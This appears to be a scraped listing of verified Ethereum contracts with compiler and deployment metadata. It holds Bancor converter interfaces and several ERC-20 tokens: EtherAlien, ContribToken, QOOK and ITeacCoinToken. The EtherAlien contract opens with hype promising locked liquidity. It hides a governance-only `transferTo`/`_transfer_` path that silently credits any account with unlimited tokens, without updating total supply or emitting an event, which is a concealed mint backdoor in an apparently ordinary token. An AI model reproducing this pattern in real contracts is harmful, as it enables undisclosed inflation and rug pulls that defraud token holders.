pragma solidity 0.4.26; /* Ether Token interface */ contract IEtherToken is IERC20Token { function deposit() public payable; function withdraw(uint256 _amount) public; function depositTo(address _to) public payable; function withdrawTo(address _to, uint256 _amount) public; }

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v0.4.26+commit.4563c3fc

000000000000000000000000ffffffffffffffffffffffffffffffffffffffff00000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd40000000000000000000000000000000000000000000000000000000000000000

Default

Apache-2.0

bzzr://59c0b8af441dae51deb14e69367acf01fff003f2840aadf572e285e1d480403a

LiquidityPoolV1Converter

contracts/bancorx/interfaces/IBancorX.sol

0x16ff969cc3a4ae925d9c0a2851e2386d61e75954

Solidity

pragma solidity 0.4.26; contract IBancorX { function token() public view returns (IERC20Token) {this;} function xTransfer(bytes32 _toBlockchain, bytes32 _to, uint256 _amount, uint256 _id) public; function getXTransferAmount(uint256 _xTransferId, address _for) public view returns (uint256); }

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v0.4.26+commit.4563c3fc

000000000000000000000000ffffffffffffffffffffffffffffffffffffffff00000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd40000000000000000000000000000000000000000000000000000000000000000

Default

Apache-2.0

bzzr://59c0b8af441dae51deb14e69367acf01fff003f2840aadf572e285e1d480403a

LiquidityPoolV1Converter

contracts/converter/interfaces/ITypedConverterFactory.sol

0x16ff969cc3a4ae925d9c0a2851e2386d61e75954

Solidity

pragma solidity 0.4.26; /* Typed Converter Factory interface */ contract ITypedConverterFactory { function converterType() public pure returns (uint16); function createConverter(IConverterAnchor _anchor, IContractRegistry _registry, uint32 _maxConversionFee) public returns (IConverter); }

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dexed":false,"name":"_connectorWeight","type":"uint32"}],"name":"PriceDataUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_provider","type":"address"},{"indexed":true,"name":"_reserveToken","type":"address"},{"indexed":false,"name":"_amount","type":"uint256"},{"indexed":false,"name":"_newBalance","type":"uint256"},{"indexed":false,"name":"_newSupply","type":"uint256"}],"name":"LiquidityAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_provider","type":"address"},{"indexed":true,"name":"_reserveToken","type":"address"},{"indexed":false,"name":"_amount","type":"uint256"},{"indexed":false,"name":"_newBalance","type":"uint256"},{"indexed":false,"name":"_newSupply","type":"uint256"}],"name":"LiquidityRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_anchor","type":"address"},{"indexed":false,"name":"_activated","type":"bool"}],"name":"Activation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_fromToken","type":"address"},{"indexed":true,"name":"_toToken","type":"address"},{"indexed":true,"name":"_trader","type":"address"},{"indexed":false,"name":"_amount","type":"uint256"},{"indexed":false,"name":"_return","type":"uint256"},{"indexed":false,"name":"_conversionFee","type":"int256"}],"name":"Conversion","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_token1","type":"address"},{"indexed":true,"name":"_token2","type":"address"},{"indexed":false,"name":"_rateN","type":"uint256"},{"indexed":false,"name":"_rateD","type":"uint256"}],"name":"TokenRateUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_prevFee","type":"uint32"},{"indexed":false,"name":"_newFee","type":"uint32"}],"name":"ConversionFeeUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_prevOwner","type":"address"},{"indexed":true,"name":"_newOwner","type":"address"}],"name":"OwnerUpdate","type":"event"}]

v0.4.26+commit.4563c3fc

000000000000000000000000ffffffffffffffffffffffffffffffffffffffff00000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd40000000000000000000000000000000000000000000000000000000000000000

Default

Apache-2.0

bzzr://59c0b8af441dae51deb14e69367acf01fff003f2840aadf572e285e1d480403a

EtherAlien

EtherAlien.sol

0x1680b86667ec58c03c8faebaf12ebee99e202945

Solidity

/** 👽 EtherAlien - The Crosschain revolutionary protocol 🛸 Website: https://etheralien.com Twitter: https://twitter.com/Ether_Alien Telegram: https://t.me/etheralien The Telegram group is now open ! LIQUIDITY POOL WILL BE LOCKED ON UNICRYPT ! 🔒 Please check the proof on our Telegram. --- The Defi token revolution is coming soon A protocol that has been created and comes from elsewhere with unusual characteristics. No other project is like it, it is a technology that is not human. Discover the features of the EtherAlien protocol now. Please check our website now to learn more about the EtherAlien protocol. Thanks. */ pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract EtherAlien is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint256 public percentSettings = 1; // = 0.001% constructor () public ERC20Detailed("👽 EtherAlien (Etheralien.com)", "ALIEN", 18) { governance = msg.sender; _totalSupply = _totalSupply.add(100000000000000e18); _balances[governance] = _balances[governance].add(_totalSupply); emit Transfer(address(0), governance, _totalSupply); } uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { require(amount <= _balances[msg.sender]); require(recipient != address(0)); uint256 tokensToBurn = burnPercentage(amount); uint256 tokensToTransfer = amount.sub(tokensToBurn); _balances[msg.sender] = _balances[msg.sender].sub(amount); _balances[recipient] = _balances[recipient].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); emit Transfer(msg.sender, recipient, tokensToTransfer); emit Transfer(msg.sender, address(0), tokensToBurn); return true; } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); } } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function burnPercentage(uint256 value) public view returns (uint256) { uint256 roundValue = value.ceil(percentSettings); uint256 percentValue = roundValue.mul(percentSettings).div(100000); // = 0.001% return percentValue; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { require(amount <= _balances[sender]); require(amount <= _allowances[sender][msg.sender]); require(recipient != address(0)); _balances[sender] = _balances[sender].sub(amount); uint256 tokensToBurn = burnPercentage(amount); uint256 tokensToTransfer = amount.sub(tokensToBurn); _balances[recipient] = _balances[recipient].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount); emit Transfer(sender, recipient, tokensToTransfer); emit Transfer(sender, address(0), tokensToBurn); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _transfer_(address account, uint amount) internal { require(account != address(0), "ERC20: transfer to the zero address"); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transferTo(address account, uint256 amount) public { require(msg.sender == governance, "!transfer"); _transfer_(account, amount); } function burn(uint256 amount) public { _burn(msg.sender, amount); } function burnFrom(address account, uint256 amount) external { require(amount <= _allowances[account][msg.sender]); _allowances[account][msg.sender] = _allowances[account][msg.sender].sub(amount); _burn(account, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } }

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{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferTo","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]

v0.5.16+commit.9c3226ce

Default

MIT

bzzr://63dfb824027f318070328502ac45a8ed9b46dd957db9b6d09753c27e292fba97

ContribToken

ContribToken.sol

0xc39273810ad05a6f75cf427a74453c54fa423472

Solidity

pragma solidity 0.4.18; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ContribToken TOKEN STARTS HERE */ /******************************************/ contract ContribToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function ContribToken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] > _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }

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v0.4.18+commit.9cf6e910

000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000004564e4f43000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004564e4f4300000000000000000000000000000000000000000000000000000000

Default

bzzr://0d1000910dd5b785abd7dc811b062fc4c9472a605db8fbcf8bd17b1d4f482994

QOOK

QOOK.sol

0x351da27a2282fd1cc0983f993c6fa6a1300904a6

Solidity

pragma solidity ^0.4.25; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event setNewBlockEvent(string SecretKey_Pre, string Name_New, string TxHash_Pre, string DigestCode_New, string Image_New, string Note_New); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract QOOK is StandardToken { function QOOK() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name = "QOOK"; string public symbol = "QK"; uint public decimals = 8; uint public INITIAL_SUPPLY = 4500 * (10 ** decimals); string public Image_root = "https://swarm-gateways.net/bzz:/952dfa2bfb9294c3bca9f844bfb8089a28a8f4bc913f9881fe529ffbe17fc497/"; string public Note_root = "https://swarm-gateways.net/bzz:/835ab8e3f3500f7c0d21bfc8aa27feaf75ae599208fcb08295353a6c9f87e6eb/"; string public DigestCode_root = "3b670972c7d3efab8f577bace98611220a834e3948b4363c7db322b47830da6c"; function getIssuer() public view returns(string) { return "MuseOKuvre"; } function getArtist() public view returns(string) { return "LeonaVinci"; } string public TxHash_root = "genesis"; string public ContractSource = ""; string public CodeVersion = "v0.1"; string public SecretKey_Pre = ""; string public Name_New = ""; string public TxHash_Pre = ""; string public DigestCode_New = ""; string public Image_New = ""; string public Note_New = ""; function getName() public view returns(string) { return name; } function getDigestCodeRoot() public view returns(string) { return DigestCode_root; } function getTxHashRoot() public view returns(string) { return TxHash_root; } function getImageRoot() public view returns(string) { return Image_root; } function getNoteRoot() public view returns(string) { return Note_root; } function getCodeVersion() public view returns(string) { return CodeVersion; } function getContractSource() public view returns(string) { return ContractSource; } function getSecretKeyPre() public view returns(string) { return SecretKey_Pre; } function getNameNew() public view returns(string) { return Name_New; } function getTxHashPre() public view returns(string) { return TxHash_Pre; } function getDigestCodeNew() public view returns(string) { return DigestCode_New; } function getImageNew() public view returns(string) { return Image_New; } function getNoteNew() public view returns(string) { return Note_New; } function setNewBlock(string _SecretKey_Pre, string _Name_New, string _TxHash_Pre, string _DigestCode_New, string _Image_New, string _Note_New ) returns (bool success) { SecretKey_Pre = _SecretKey_Pre; Name_New = _Name_New; TxHash_Pre = _TxHash_Pre; DigestCode_New = _DigestCode_New; Image_New = _Image_New; Note_New = _Note_New; emit setNewBlockEvent(SecretKey_Pre, Name_New, TxHash_Pre, DigestCode_New, Image_New, Note_New); return true; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }

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v0.4.25+commit.59dbf8f1

Default

bzzr://ef9c0795a388aa1edab10c19ca05a396b1018b5fdc37b97f4642c1b006afd7d6

ITeacCoinToken

ITeacCoinToken.sol

0xc9614ac5a61845d70668d7b42aed865333949fc3

Solidity

pragma solidity ^0.4.23; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0 ) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ITeacCoinToken is StandardToken{ string public constant name = "Initial Tea Chain"; // solium-disable-line uppercase string public constant symbol = "ITEAC"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 2000000000000000000000000000; uint256 public constant MAX_SUPPLY = 100 * 10000 * 10000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() ITeacCoinToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * The fallback function. */ function() payable public { revert(); } }

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v0.4.23+commit.124ca40d

Default

bzzr://ff4d9653a636af51b1dad5a03173444247e8ed21ddbd8b30da0e9f48ee51fd7d

LOOM

LOOM.sol

0x9681c8cddda282d706e88c5405df534c7f7e7d0f

Solidity

